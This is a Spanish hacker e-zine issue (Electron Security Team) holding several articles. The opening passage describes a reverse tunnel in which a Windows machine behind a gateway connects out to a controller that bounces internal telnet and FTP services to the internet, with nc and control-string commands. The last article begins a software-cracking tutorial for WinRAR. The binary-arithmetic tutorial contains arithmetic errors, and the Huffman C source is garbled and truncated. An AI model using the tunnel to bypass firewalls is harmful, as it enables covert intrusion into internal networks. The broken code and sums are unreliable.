aplicacion muy simple y muy util utilizada desde tiempo ha en sistemas UNIX 
y portada recientemente  a Windows por el extraordinario grupo Lopht. 
Bajadlo gratuitamente de su pagina.

El programa servidor de linux tiene como nombre server.c, consiste un daemon 
que recogera todas las conexiones de los esclavos y  tambien de los clientes
y hara de intercomunicador entre ellos.
Los programas clientes  de  Windows  tienen como nombre pilladorftp.c(nombre 
totalmente  inapropiado  por  que no tiene  nada  que  ver  con  el  ftp)  y 
datapipeinverso.c.
 
El programa pilladorftp.c establecera la conexion principal con el controlador
y cuando  reciba  un  mandato  llamara  a  datapipeinverso para que bouncee la
conexion a donde le halla dicho el controlador.
Lo mejor para entender el funcionamiento es ver el ejemplo:



EJEMPLO DE FUNCIONAMIENTO

Los programas de Windows se han de meter juntos en el mismo directorio.

Ejemplo:
servidor: ip= 200.200.200.200

esclavo: ip local= 192.168.0.1
	gateway= 201.201.201.201 

Vamos a acceder al servicio telnet del esclavo desde cualquier punto de internet 
para ello hacemos:

En el linux: 
Server 7000	(el programa escuchara en el 7000 a conexiones de esclavos)

En el Windows:
pilladorftp 200.200.200.200 (el Windows lanza una conexion al servidor para 
recibir ordenes)

Ya tenemos la comunicacion principal, ahora podemos dedicarnos a acceder 
a servicios.

En linux:
nc -l -p 8000 -v

y en otro shell:
nc 127.0.0.1 7000
y escribimos lo siguiente:
CONTROL201.201.201.201REDIRECCIONAPUERTO200.200.200.2000800000023127.000.000.001 [INTRO]

al hacer esto veremos como nos aparece en la shell del puerto 8000 el servicio
telnet desde el cual ya podremos acceder.

La explicacion de la sentencia de control que le llega al controlador es la 
siguiente:

CONTROL(IP-esclavo-gtway)REDIRECCIONAPUERTO(IP-Server)(portserver)(puertolocal)(hostbounce)

Las IPS contendran siempre 15 digitos y los puertos siempre 5 digitos.


PROTOCOLOS DE SERVIDORES ESPECIALES (FTP)

Hay protocolos  como  el  ftp  donde  hay informacion del protocolo de red en el 
protocolo de aplicacion, esto  evidentemente  da problemas en los firewalls y en
muchos routers que solo tratan IP.
Para este  tipo  de  protocolos el programa controlador se ha de hacer especiail 
para que saque  toda la informacion de red desde los datos. Esto se puede ver en 
el codigo fuente del programa emuladorftp.c que  tambien implemente para acceder 
a servicios ftp en los hosts esclavos.
Este programa soporta las conexiones PASV del ftp creando conexiones nuevas...

El funcionamiento seria el siguiente:


Ejemplo:
servidor: ip= 200.200.200.200

esclavo: ip local= 192.168.0.1
	gateway= 201.201.201.201 


En el linux: 
Server 7000	(el programa escuchara en el 7000 a conexiones de esclavos)

En el Windows:
pilladorftp 200.200.200.200 (el Windows lanza una conexion al servidor para
recibir ordenes)

Ya tenemos la comunicacion principal, ahora podemos dedicarnos a acceder al
servicio ftp.

emuladorftp 200.200.200.200 9000 201.201.201.201 21

y ahora para acceder al ftp del esclavo solo tenemos que hacer un ftp a : 
ftp 200.200.200.200 9000  
o tambien
ftp 127.0.0.1 9000

Se puede utilizar cualquier cliente de ftp y cualquier numero de sesiones....




Origen de Eid0 Espa~a 6 de Junio, 2001
Modificacion y Testeado por Toleran-C 2001 & Silen-C  el 23 de Octubre, 2001


[=========================([ Electron Security Team ])===========================]





[====([ meth0dist ])=======================================================EST-4=]
[====([ Numeros Binarios ])==================================================#13=]
[=========================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]

 
Hola, en este articulo voy  a  hablar sobre  los numeros binarios, ya que creo que
todos  deberian  conocerlos  porque  desempe~an una labor muy importante en lo que
respecta  a los computadores. Primero que  nada  tienen que saber que  los numeros 
binarios son solo dos: 0 y 1  nada  mas, olvidense  totalmente  del  3,4,5,6,7,8,9
ya que esos no  existen  aca, ni  nos sirven. Se estaran preguntando, por que solo
0 y 1, bueno  ya que estos valores sirven, como  por un  ejemplo  conocido: 0 para
apagado y 1 para prendido, o 0 para si  y 1 p ara  no, o 0 para  activado y 1 para 
desactivado, van captando todos?? 
Ahora, la pregunta del  millon!!, que  se  hace  para  transformar  de  un  numero 
decimal  a uno  binario  o viceversa. Esto  se  hace  de  una forma  muy  facil, e
inclusive  se  pueden  realizar   operaciones   matematicas, como   sumar, restar, 
multiplicar  y dividir asi que vamos preparandonos para  aprender  estos  metodos.

Vamos a lo primero, transformar de un numero decimal a uno binario.

Tenemos el numero 13 y queremos transformarlo a binario. El 13 se  divide  por 2 y 
se va guardando el numero que sobra, ya sea 0 o 1, hasta que la division sea igual
a 0 o 1. Luego se ordenan los numeros de derecha a  izquierda, veamos  un  ejemplo 
para entender mas rapido.

13/2=6                      Sobra 1
6/2=3                       Sobra 0
3/2=1                       Sobra 1
1/2=1 (se aproxima 0.5 a 1) Sobra 1

Ahora se ordena de derecha a  izquierda o aqui, de  abajo hacia arriba por lo que
obtendriamos como resultado 1101, o sea 13 en binario es 1101.
Hagamos la otra operacion un poco  mas  compleja, transformando  84 en  un numero 
binario, ok?

84/2=42  Sobra 0
42/2=21  Sobra 0
21/2=10  Sobra 1
10/2=5   Sobra 0
5/2=2    Sobra 1
2/2=1    Sobra 0
1/2=1    Sobra 1

Por lo que  obtendriamos ordenando de  derecha a izquierda o desde abajo hacia
arriba el numero: 1010100

Bueno, ahora que aprendimos a transformar un numero  normal a binario, estaran
esperando aprender a hacerlo de la manera inversa que tambien es simple y para
esto se utilizan las  potencias  de  2. Veamos, tenemos  en  binario 110110  y 
queremos  saber  que  numero es. Lo que  hacemos es partir  tomando  el primer
numero en binario de la derecha y  luego lo multiplicamos  por la potencia  de
2^0, luego con el  segundo numero  de  derecha a izquierda  lo mismo, pero  se 
multiplican por 2^1, y asi  sucesivamente (2^0, 2^1, 2^3, 2^4...), al final se
suman todos los resultados  de las multiplicaciones  obteniendo como resultado 
el numero. Veamos aca como se hace para kaptar mejor.

110110 (Lo tomamos de derecha a izquierda, o sea 011011)

(0 x 2^0) + (1 x 2^1) + (1 x 2^2) + (0 x 2^3) + (1 x 2^4) + (1 x 2^5)
   
   0      +     2     +    4      +      0    +     16    +    32
 
                             54

Por lo que  sumando nos  daria como  resultado 55, o  sea 110110 es igual a 55.
Veamos  otro ejemplo para kachar mejor. Vamos a  transformar 11011 a un  numero 
normal. Recuerden de  tomar  el  numero  en binario  de derecha a  izquierda!!!

11011

(1 x 2^0) + (1 x 2^1) + (0 x 2^2) + (1 x 2^3) + (1 x 2^4) 

   1      +     2     +     0     +     8     +     16

                      27

Espero  que hayan  entendido, es muy simple no? Vamos  ahora a las  operaciones 
matematicas que son  tambien faciles. Primero que  nada hay que tener en cuenta
lo siguiente:

0+0=0
0+1=1
1+0=1
1+1=10  (no, no es SOPROLE!)
1+1+1=11

Partamos con la suma, imaginense que tenemos 1011 y queremos  sumarlo con 1110.
Se hace la tipica tabla de suma y se va sumando uno con uno:

     
   1011   
   1110
  +____
   11001

Como pueden apreciar el resultado es 11001, se hace igual k con una suma normal
(espero que todos sepan sumar hehehe), vamos a otro ejemplo de suma:


   111
   101
  +___
   1100


Ya que sabemos sumar ahora sigamos con la resta, que es igual a una resta normal.

   110
    10
  -___
   100

Recuerden que: 

0-0=  (tengo que decirlo?)
0-1=0 (con prestamo de 1, igual que en un resta normal)
1-0=1
1-1=0

Hagamos otro ejemplo de resta para los que no entendieron, ¡si tu, pon atencion!:

  11011
    101
 -_____
  10110



 
Cachemos ahora como hacer algunas multiplicaciones. Si queremos multiplicar
111 x 100, se hace lo siguiente, sabiendo que:

0 x 0 = 0
1 x 0 = 0
0 x 1 = 0
1 x 1 = 1

Aca abajo se multiplica el 0 con 1, luego con 1, luego con 1, luego se salta un 
espacio y se multiplica el 0 con 1, luego con 1, luego con 1, luego el 1 con el 
1, luego con el 1 y luego con el 1. Despues se suman y ese es el  resultado. Es
lo mismo que una multiplicacion comun.

       111 x 100
       _________
      
       000        
      000-
     111--
   + _____
     11100

Veamos otro ejemplo:

       1010 x 1101
       ___________
    
       1010
      0000-
     1010--
    1010---
   +_______

   10000010         



Por ultimo aprendamos a dividir en binario. Como ya lo he dicho sobre las otras
operaciones, es igual que dividir normal, nada del otro mundo.

1100/10=

Queremos dividir esto, entonces como el divisor es de dos digitos, tomamos los
dos primeros numero del dividendo:

  11'00/10=1
  10
-___
   10/10=1  
   10
  -__
    00/10=0
    10
   -__
     0

Por lo que obtendriamos de resultado 110, simple, veamos otra:


  111'00/111=1
  111
 -___ 
    000/111=0
    111
   -___
      00/111=0
     111
    -___
       0 

Aca tenemos como resultado 100. Espero que hayan entendido bien y aprendido algo
nuevo. Para los que encuentren las operaciones dificiles de realizar, otra forma
de  realizarlas es transformando los numeros binarios en  decimales, luego hacer
la operacion  y transformar  de vuelta a binario. Tambien  pueden  comprobar sus
resultados con la calculadora de windows, pasando de decimal a binario.
Bueno con esto damos termino a esta explicacion acerca de los numeros  binarios,
espero que les haya servido para aprender algo nuevo, aunque esto es  simple, es
muy util para algunas cosas saber operaciones con  los numeros  binarios. Chao y 
nos vemos...


[=========================([ Electron Security Team ])===========================]




[====([ Shisei Brujo ])====================================================EST-4=]
[====([ Compresion de Datos ])===============================================#14=]
[===============================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


Navegando por la red, me encontre con este  excelente  articulo  en  el  cual, Joe
habla sobre el metodo Huffman para la Compresion  de  Datos, la  forma  en  que es
explicado el  algoritmo  para  comprimir  es  realmente  sencilla, para  lo  cual, 
cualquier persona  que  entienda  un  poco de programacion, no tendra problemas en
entenderlo. Yo como entiendo algo, me  hize el desafio de crear un programa que me
permitiera comprimir y descomprimir archivos, los  codigos  fuentes los adjunto al
final del articulo para que lo modifiquen, arreglen, lo  elimininen, etc. Entonces
para partir, aunque se que no es  lo  mas  optimo, copio  el  articulo tal como lo
encontre, ya que creo que en el  se  explica muy bien el algoritmo, mucho mejor de
lo que yo podria explicar, y luego les explico mi codigo fuente :)

Entonces copy & paste, leanlo con mucha atencion:

==============================================================================

Compresion de Datos.

No se si te pasa como a mi, me encanta saber como funcionan las cosas que uso por
eso   intento  aprender  como  trabajan. Con  este  proposito, vamos  a  ver  que
procesos utiliza una forma de las tantas  formas  de  comprimir  informacion, muy
efectiva con texto.
Recuerdo que mi primer intento de compresor  fue un metodo que consistia en tomar
de un archivo,  cadenas  de  caracteres  que  se  repetian por todo  el archivo y 
sustituirlos por  un  caracter  que  no  esta  en  el  archivo sustituyendo 3 o 4 
caracteres por 1. Claro  esta, cuando  el  archivo  es  de  texto  es  facil, los
espacios  en   blanco  abundan, pero los archivos con un formato diferente es mas
dificil de encontrar  una  cadena  adecuada  y  un  caracter  que  la  sustituya.

Todo esto sin comentar las veces que  al  descomprimir  estos  archivos  quedaban
inservibles.

Pasemos al metodo de Huffman.

Cuando comienzas  a  entender  como   aplicar   arboles   binarios,  este  metodo
lo reinventa cada estudiante,  pero  resulta   que   al   amigo   Huffman  se  le
ocurrio primero. El metodo consiste en construir un codigo  de  prefijos  optimo,
y ustedes diran que carajo es esto?. (cuanto mas  optimo  quede  este  codigo  el 
resultado de la compresion sera mejor).

Bueno comencemos
Daremos un ejemplo que mostrara el funcionamiento del proceso.
Elijo una frase cualquiera:

MI MAMA ME AMA A MI

Esta cadena de caracteres tiene 18 bytes contando los espacios en blanco.
(Simbolizaremos estos como: " ")
El primer paso debera ser tomar cada caracter y ver cuantas veces se repite
en la cadena.

En este caso : M = 6 , I = 2, A = 5, E = 2, " " = 5.

Ordenamos de menor a mayor. Si los valores se repiten es valido poner 
cualquier caracter antes.


I   E   A   " "  M

*   *   *    *   *

2   2   5    5   6


Sumo los dos mas chicos

   4
  / \
 *   *   *   *   *
 2   2   5   5   6  

Reordeno y repito el proceso
 
     9 
    / \    
   *   *  *  *
   4   5  5  6  
  / \
 *   *
 2   2


Repito el proceso.

Sumo los 2 mas chicos
     
   11 
  /  \   
 *    *   *
 5    6   9       
         / \    
        *   * 
        4   5   
       / \
      *   *
      2   2

Reordeno

Sumo los 2 mas chicos.

        20 
      /    \
     *      *
     9      11      
    / \    /  \  
   *   *  *    *
   4   5  5    6  
  / \
 *   *
 2   2

Se habran dado cuenta que se ha formado un arbol binario. 
Las hojas de este arbol son los valores de frecuencia  de  cada  caracter. 
Ahora cuando la rama va hacia la derecha coloco valor 1, a la izquierda 0. 
Quedando el valor de I llendo desde la raiz 000

I   = 000
E   = 001
A   = 01
M   = 11
" " = 10


Se ha  generado un  codigo de  prefijos optimo. El siguiente paso es con la
igualdad del codigo de prefijos transformar la frase a binario.

         Raiz                          20
      0/      jumi                     /    \  
      *        *                    *      * 
   0/  jumi    0/ jumi                  9      11 
   *    =    =   =                 / \    /  \    
 0/ jumi  A   " "  M                *   =  =    =   
 =   =                            4   5  5    6               
 I   E                           / \       
                                =   =              
                                2   2           
    
Ahora  tomando  de  ocho  estos  0  y  1  podemos  transformar  a un numero
entre 0 y 255 con un equivalente en ASCII. Como veran hemos  reducido de 18
bytes a 6 bytes.

M  I   " "  M  A  M  A  " " M  E   " " A  M  A  " " A  " " M  I
11 000 10   11 01 11 01 10  11 001 10  01 11 01 10  01 10  11 000

11000101 10111011 01100110 01110110 01101100 0
197      187      102      118      108      0

Cambiando  estos  valores  por  sus  correspondientes en ASCII, tendran el
texto comprimido de 6 bytes.

Muy bonito.

Observaciones 

Este  es  una  compresion optima  porque el arbol es optimo si  cambiamos  de 
lugar la M por  la  I en el  arbol, el  codigo   de  la  M  pasa  a  tener  3 
caracteres  entonces  la  frase  quedara  mas larga y ocupara mas de 6 bytes.
Considerando  que tambien  hay que guardar el codigo de prefijos en este caso
el resultado final sera mayor que 18  bytes, ( prueba  comprimir  un  archivo 
que   ocupe  1  byte  con   pkzip ), pero  cuando  comprimes  un  volumen  de 
informacion  mayor  esto no sucede y la compresion es muy buena.

Despedida

Espero que este articulo les agrade, y  toda esta  teoria les ense~e algo, en
el  proximo  numero  veremos  la  TAD (tipos  abstractos  de  datos)   y   su
implementacion  para  la  codificacion de este 
algoritmo.

Joe

 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

=================================================================================

Bueno ahora la parte que me toca a mi, el codigo :). Para empezar quiero decirles
que el codigo no esta optimizado, es decir es la version 0.001, apenas resulto lo
deje asi.
La verdad es que lo programe solo como un desafio y no para  ocuparlo, ojala  que
alguien interesado lo pueda optimizar y ocupar en algun programa.

Empesaremos con el fuente para comprimir el archivo.
Para crear el arbol binario usaremos una estructura especial

struct nodo
{
  int info, info2;
  struct nodo *izq, *der, *raiz, *link;
};

que en principio una lista enlazada de la siguiente forma:

     |           |
  [x][x] ---> [x][x] ---
  /    \      /    \    |
                        //
para luego transformarse en un arbol binario:

                                      |
                                   [x][x]
                                   /    \
                                 /        \
                               /            \
                             /                \
                            |                  |
                          [x][x] ----------> [x][x] ---> //
                          /                  /    \
                        /                  
                      /                  
               ______|____             
              |           |           
           [x][x] ---> [x][x] ---> //
           /    \      /    \     
                        
Explico, comienzo leyendo el archivo y llenando  un  vector (num[255]) con  la
cantidad de cada caracter que hay en el archivo, por ej. si hay 55 letras 'a',
entonces num[97] = 55 (97 es el codigo ASCII de 'a').
Luego lleno la "lista enlazada" con  la  funcion  "crea", en  la  cual  no  se
incluyen los caracteres que tienen cantidad cero.

Despues esta lista ya llena, es ordenada, de  menor  a  mayor. A  continuacion
se comienza a crear el arbol, sumando  los  dos  primeros nodos de la lista, y
creando un nodo raiz (para  esos  dos  nodos) con el valor de la suma, es cual
queda  apuntando  hacia  el  tercer nodo, con  el  puntero  "link". Notese que 
con esto la lista va disminuyendo en un nodo.
Se  ordena  nuevamente, y se repite el proceso de la suma, todo esto hasta que
quede solamente un nodo en la lista.
Por ej.

1) la lista:
  
  ->2->3->3->4->7->//

2) se suman los dos menores y se crea un nodo raiz con la suma

   ->5->3->4->7->//
    / \
   2  3

3) se ordenan 

  ->3->4->5->7->//
         / \
        2   3

4) se suman 

  ->7----->5->7->//
   / \    / \
  3   4  2   3

5) se ordenan

  ->5----->7->7->//
   / \    / \
  2   3  3   4

6) se suman

  ->12->7->//
   /  \
  5     7
 / \   / \
2   3 3   4

7) se ordenan

  ->7->12->//
      /  \
     5     7
    / \   / \
   2   3 3   4

8) y finalmente se suman y queda construido el arbol :)

    ->19->//
     /  \
    7   12
       /   \
      5     7
     / \   / \
    2   3 3   4

Nota: En el ejemplo solo muestro la cantidad de  caracteres  que  hay  en  el
archivo,  pero  recuerden  que  cada  nodo  hoja  lleva  ademas  el valor del
caracter en ascii, para poder ser reconocido facilmente. 

Ya creado el arbol, llenaremos el  vector  "bin", con  el  valor  binario del
recorrido que hace para llegar  a  cada caracter. Para esto, primero se busca
el caracter, luego se sube hacia  la raiz, si el nodo del caracter esta hacia
la izquierda, se le agrega un '0' al  bin[x], si  esta  hacia  la derecha, un
'1', y asi hasta llegar a la raiz del arbol. Luego este  binario  se  voltea,
ya que fue creado al revez (si no se hace, no funciona el programa).

Por  ejemplo, imaginemos que queremos ver el valor binario del recorrido para
la  letra 'X', primero hacemos el recorrido hasta llegar a la raiz del arbol,
por ej. 0001 lo volteamos, queda 1000, lo que graficamente seria

			Raiz
		           \ 1
                           Nodo
                           / 0
                       Nodo
                       / 0
                    Nodo
                    / 0
                  'X'


Finalmente se abre nuevamente  el  archivo  a  comprimir, se  lee  el  primer
caracter, el cual lleva  un  binario  adjunto, por  ej. si es 'a', el  vector
bin[97]='011101001', este se corta en los ocho  primeros caracteres, o  se le
agrega el siguiente caracter si es que faltara para  llenar  los  ocho. Luego
este   binario (de  ocho   caracteres)  se   transforma   a   decimal, y   su
representacion en el codigo ASCII se escribe en el archivo comprimido.

Continua asi con los siguientes caracteres del archivo hasta llegar al final.

Nota: Al comienzo del archivo se escribe todos  los  caracteres presentes  en
el archivo, junto con su representacion  binaria, esto  se  hace  para  luego
poder descomprimirlos. 
Nota2: El archivo comprimido tiene una extension ".cmp", lo  puedes  abrir  y
observar la estructura :)

A continuacion pego el codigo fuente del compresor.

#include 
#include 

#define max 256

struct nodo
{
  int info, info2;
  struct nodo *izq, *der, *raiz, *link;
};

int num[max], NumCaracteres;
char bin[max][max];
char arch[max];
struct nodo *p, *u;

void inicio()
{
  int x;
  for(x=0;xraiz;
  if(z!=NULL)
  {
    if(z->izq==q)
      bin[e][x]='0';
    if(z->der==q)
      bin[e][x]='1';
    crea_bin(z, e, x+1);
  }
}
struct nodo *buscar(struct nodo *z, int e)
{
  struct nodo *x;
  if(z!=NULL)
  {
    if(z->info2==e)
      return z;
    else
    {
      x=buscar(z->izq, e);
      if(x!=NULL)
        return x;
      x=buscar(z->der, e);
      if(x!=NULL)
        return x;
    }
  }
  else
    return NULL;
}
void crea()
{
  int x;
  struct nodo *q;
  for(x=0;xinfo=num[x];
      q->info2=x;
      q->link=NULL;
      q->der=NULL;
      q->izq=NULL;
      q->raiz=NULL;
      if(p==NULL)
      {
        p=q;
        u=q;
      }
      else
      {
        u->link=q;
        u=q;
      }
    }
  }
}

void ordenar()
{
  struct nodo *q, *r, *aux, *aux2;
  int x;
  for(x=0;xlink!=NULL)
    {
      r=q->link;
      if(q->info>r->info)
      {
        aux=(struct nodo*)malloc(sizeof(struct nodo));
        
        if(q->izq!=NULL)
        {
          aux2=q->izq;
          aux2->raiz=r;
          aux2=q->der;
          aux2->raiz=r;
        }
        if(r->izq!=NULL)
        {
          aux2=r->izq;
          aux2->raiz=q;
          aux2=r->der;
          aux2->raiz=q;
        }

        aux->info=q->info;
        q->info=r->info;
        r->info=aux->info;
        
        aux->izq=q->izq;
        q->izq=r->izq;
        r->izq=aux->izq;
        
        aux->der=q->der;
        q->der=r->der;
        r->der=aux->der;
        
        aux->raiz=q->raiz;
        q->raiz=r->raiz;
        r->raiz=aux->raiz;
        
        aux->info2=q->info2;
        q->info2=r->info2;
        r->info2=aux->info2;
        
      }
      q=q->link;
    }
  }
}

void crea_arbol()
{
  struct nodo *q, *r, *n;
  int x;
  q=p;
  for(x=0;x<2;x++)
  while(q->link!=NULL)
  {
    n=(struct nodo*)malloc(sizeof(struct nodo));
    ordenar();
    r=q->link;
    r->raiz=n;
    q->raiz=n;
    n->info=q->info+r->info;
    n->raiz=NULL;
    n->izq=q;
    n->der=r;
    n->link=r->link;
    p=n;
    q=p;
  }
}

void llenar_vector()
{
  FILE *archivo;
  int i, sw;
  sw=0;
  if((archivo=fopen(arch, "r"))==NULL)
  {
    printf("Error leyendo archivo %s\n", arch);
    exit(-1);
  }
  while(!feof(archivo))
  {
    i=fgetc(archivo);
    if((i>=0)&&(i<=256))
    {
      num[i]++;
      sw++;
    }
  }
  fclose(archivo);
  if(sw==0)
  {
    printf("El archivo esta vacio\n");
    exit(0);
  }
}
void comprimir()
{
  FILE *archivo, *salida;
  int i, x, j;
  char arch2[max];
  char palabra[1000], palabra2[1000], palabra3[8];
  strcpy(arch2, arch);
  strcat(arch2, ".cmp");
  if((archivo=fopen(arch, "r"))==NULL)
  {
    printf("Error leyendo archivo %s\n", arch);
    exit(-1);
  }
  if((salida=fopen(arch2, "w"))==NULL)
  {
    printf("Error abriendo archivo %s\n", arch2);
    exit(-1);
  }
  
  bzero(palabra, 1000);
  bzero(palabra2, 1000);
  
  fprintf(salida, "%d\n", NumCaracteres);
  for(j=0;j=0)&&(i<=256))
    {
      strcat(palabra, bin[i]);
      if(strlen(palabra)>7)
      {
        for(x=8;x\n\n", argv[0]);
    exit(0);
  }
  strcpy(arch, argv[1]);
  inicio();
  llenar_vector();
  crea();
  crea_arbol();
  for(x=0;x

#define max 256

char Caract[max][max];
char binarios[max][max];
char arch[max], arch2[max];
int NumCaracteres;
FILE *entrada, *salida;
void inicio()
{
  int x;
  for(x=0;x=0;x--)
  {
    i+=(tmp[x]-48)*k;
    k*=10;
  }
  return i;
}
void leer_cabecera()
{
  int i, j, cont, x, sw;
  char tmp[20];
  bzero(tmp, 20);
  fgets(tmp, 10, entrada);
  NumCaracteres=transformar(tmp);
  for(x=0;x0);
  j=0;
  if(opc!=0)
  {
    for(i=0;i<8;i++)
      if(tmp[i]==' ')
        j++;
    for(i=j;i<8;i++)
    {
      tmp[i-j]=tmp[i];
    }
    for(i=8-j;i<8;i++)
      tmp[i]='\x0';
  }
}

void buscar(char tmp[1000])
{
  char aux[1000], aux2[1000];
  int x, i, j, k, res;
  x=0;
  while(x=0)&&(i<=256))
    {
      x=ftell(entrada);
      if(x!=y)
      {
        bzero(tmp, 10);
        strcat(tmp, binarios[i]);
      }
      else
      {
        crea_bin(tmp, i, 1);
        strcat(tmp2, tmp);
      }
      printf("%s\n", tmp);//comenta esta linea para no ver los binarios
      strcat(tmp2, tmp);
      buscar(tmp2);
    }
  }
}
void crea_binarios()
{
  int i;
  for(i=0;i\n\n", argv[0]);
    exit(0);
  }
  strcpy(arch, argv[1]);
  for(x=0;x
 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


Cuando  hablamos de  seguridad  es  imposible no  referirnos a la  criptografia, 
muchos programas de cifrados han  pasado seguramente  por numerosas paguinas  de 
prestiguisas revista mas ninguno ha tenido el exito  que en la actualidad  se le
atribuye a PGP.

Podria dar muchas razones del por que es necesario encriptar, a muchos les puede
parece quisas un poco paranoico pero en fin, este articulo no discute este tema
de que es censillo hacerlo lo es! y prevenir un poco no le hace da~o a nadien...

Yo hablo de prevencion... pero en  realidad siendo  frios, ¿a quien le  interesa 
leer los mails que enviamos a nuestros amigos?... Nosotros como  nacion en miras
de  una  sociedad  mas  informada  de  las  actuales  tecnologias  tenemos  como 
referencias a USA por poner un ejemplo, proyectos  como  Echelon, Carnivoro  por
nombrar algunos han aumentado tremendamente la paranoia.

Entrando ya en materia  cualquier lenguaje de  programacion  es  considerado  un
metodo de cifrado, puesto que muchos adectos consideran  al lenguaje makina como 
indecifrable.

El uso principal de PGP es el cifrado de correos atraves  del  metodo de llaves, 
de este tema ya se escrito mucho, no creo que alguien entendido no haya leido el
funcionamiento de la llave publica y privada.

Este articulo pretende ayudar a usar pgp en nuestros  linux desde la consola :D,
para aquellos que les gusta todo en bandeja y facilito les advierto que se bayan 
buscando algun front-end para correrlo  desde X puesto que  de momento  prefiero 
hacerlo desde consola y este  articulo se focaliza en el uso de pgp en  consola. 
Bamos  a  usar un  unico programa  que  a su ves se  divide en 4  programas  mas 
encargados cada uno de funciones distintas de pgp:

pgp-5.0i: ftp://ftp.es.pgpi.org/pub/pgp/5.0/unix/linux/

- pgpk: Encargado de la creacion y administracion de claves.
- pgps: Encargado del firmado de mensajes.
- pgpe: Encargado del cifrado y del mensaje.
- pgpv: Encargo de verificar y desencriptar mensajes.

- En primera instancia generaremos nuestro propio par de claves:

bash# pgpk -g

Choose the type of your public key:
1)  DSS/Diffie-Hellman - New algorithm for 5.0 (default)
2)  RSA
$Choose 1 or 2:1
Pick your public/private keypair key size:
(Sizes are Diffie-Hellman/DSS; Read the user's guide for more information)
1)   768/768  bits- Commercial grade, probably not currently breakable
2)  1024/1024 bits- High commercial grade, secure for many years
3)  2048/1024 bits- "Military" grade, secure for forseeable future(default)
4)  3072/1024 bits- Archival grade, slow, highest security
Choose 1, 2, 3 or 4, or enter desired number of Diffie-Hellman bits
$(768 - 4096):2
#You need a user ID for your public key.  The desired form for this
#user ID is your FULL name, followed by your E-mail address enclosed in , if you
have an E-mail address. 
For example: Joe Smith If you violate this standard, you will lose much of the 
benefits of PGP 5.0's keyserver
and email integration.
$Enter a user ID for your public key: 
$elektr0 EST
Enter the validity period of your key in days from 0 - 999
{jumi [*3] [http://www.govannom.org/e-zines/electron/electron04.txt]} is forever (and the default):
You need a pass phrase to protect your private key(s).
Your pass phrase can be any sentence or phrase and may have many
words, spaces, punctuation, or any other printable characters.
$Enter pass phrase:
Enter again, for confirmation:
$Enter pass phrase:


 
Cuando concluye  la operacion de generacion  de llaves, el  programa  nos da  la 
opcion de conectarnos a uno  de  los  tantos  servidores  de  claves  existentes, 
pudiendo hacerce posteriormente con:

bash# pgpk -xa -o [url-del-servidor]

La primera ves que  ejecutemos  pgpk se creara en nuestro home  un subdirectorio 
llamado ./pgp en el que se lamacenan los  anillos  de claves y  otros  archivos.

PubRing = "/home/elektr0/.pgp/pubring.pkr"
SecRing = "/home/elektr0/.pgp/secring.skr"
RandSeed = "/home/elektr0/.pgp/randseed.bin"

En los anillos de claves estaran almacenados nuestra clave publica (pubring.pkr)
y privada (secring.skr), es recomendable hacer un  respaldo de  este directorio.

Bueno ya tenemos nuestro par de claves, ahora  basta que  la  gente disponga  de 
nuestra clave publica  para que nos puedan enviar  mensajes  encriptados, muchos
recurren a  publicarlas  en sus  paguinas  webs  o  bien  en los  ya mencionados 
servidores de claves.

Otra forma un  poco mas "viva" seria enviarles atraves del mismo  correo nuestra
clave publica a quienes asi lo quieran o de quienes nosotros quisieramos recibir
correos enciprtados, para extraer la clave usamos:

bash# pgpk -xa idclave -o idclave.asc

Este comando genreara  un  archivo de texto  plano  legible  con  nuestra  clave
(idclave.asc), de esta manera aplicamos copy&paste y  podemos  repartir  nuestra 
clave por mail o algun otro medio.

Bueno es hora de encriptar un mensaje, para  ello  usaremos el prgrama  pgpe, en 
esta ocacion debemos indicar el identificador de  la clave a usar  con la opcion
-r, tambien para poder enviar el  mensaje  cifrado  atraveas de  cualquier medio 
usaremos -ta que como ya lo habia  mencionado genera un  archivo de texto  plano
legible, ahora me envio un mensaje a mi mismo.

bash# pgpe -ta -r elektr0 passwords.txt

Se creara el archivo passwords.txt.asc, podriamos  indicarlo al programa que nos 
deje a nosotros darle el nombre que queramos con la opcion -o:

bash# pgpe -ta -r elektr0 passwords.txt -o shadow.pwd

Tambien tenemos la posibilidad  de  firmar  conjuntamente  como  se  encripta un
mensaje, esto es bastanta  recomendable  asi  el  destinatario  podra  saber  si
efectivamente se trata de nosotros a traves de nuestra firma:

bash# pgpe -sta -r elektr0 -u elektr0 /etc/shadow -o shadow.asc

De acuerdo con el anterior ejemplo solo se  han  agregado  la opcion -s que  le
indica al programa (/pgpe) que queremos firmar nuestro mensaje, la opcion -u es 
el identificador  de  la  clave que  queremos  usar en este caso  es  el  mismo
identificador de clave que la opcion -r.

Ahora si quiesieramos solo firmar un mensaje entonces usamos  el programa pgps:

bash# pgps -u elektr0 -ta mensaje.txt

Asi se creara el archivo  mensaje.txt.asc en el que se  incluye nuestra  firma,
adjunto al mensaje.

Hemos recibido  un  mensaje  encriptado, queremos  desencriptarlo y  a  su ves
verificar de que efectivamente corresponde de la perona que nos lo envio:

bash# pgpv archivo.asc

Si quisieramos agregar una clave  publica  de algun amigo nuestro bastaria con 
teclear:

bash# pgpv archivo.asc

Donde archivo.asc es donde se  encuentra la  clave  publica de  nuestro amigo, 
pgpv se encarga de todo lo demas... Bueno ese es mas bien el uso normal basico
y cotidiano que se le podria dar a pgp, porsupuesto que pgp puede hacer muchas 
otras cosas, tiene otras muchas mas opciones que en un futuro quisas  explique
por ahora quienes quieran saber mas de pgp:

http://www.pgpi.com
http://www.distributed.net

EleKtr0

 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
http://www.est.cl/


[=========================([ Electron Security Team ])===========================]





[====([ meth0dist ])=======================================================EST-4=]
[====([ Crackeelo Ud. Mismo ])===============================================#16=]
[==========================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ])=]


Hola a todos nuevamente. En este articulo voy a hablar sobre como  crackear tus
propios programas, sin tener que depender de otra persona persona para hacerlo.
El programa  que  vamos  a crackear va a ser el WinRaR 2.70. Necesitaras  estas 
herramientas:

-W32dasm (yo tengo la version 8.93)
-Hiew of un heditor hexadecimal (tengo la version 6.11 del Hiew)

Ojo: a veces cuando abres un .exe con  el Hiew y pones F3 para  editarlo talvez
te diga que no puede, esto debido a ke se encuentra en modo de read no mas, asi
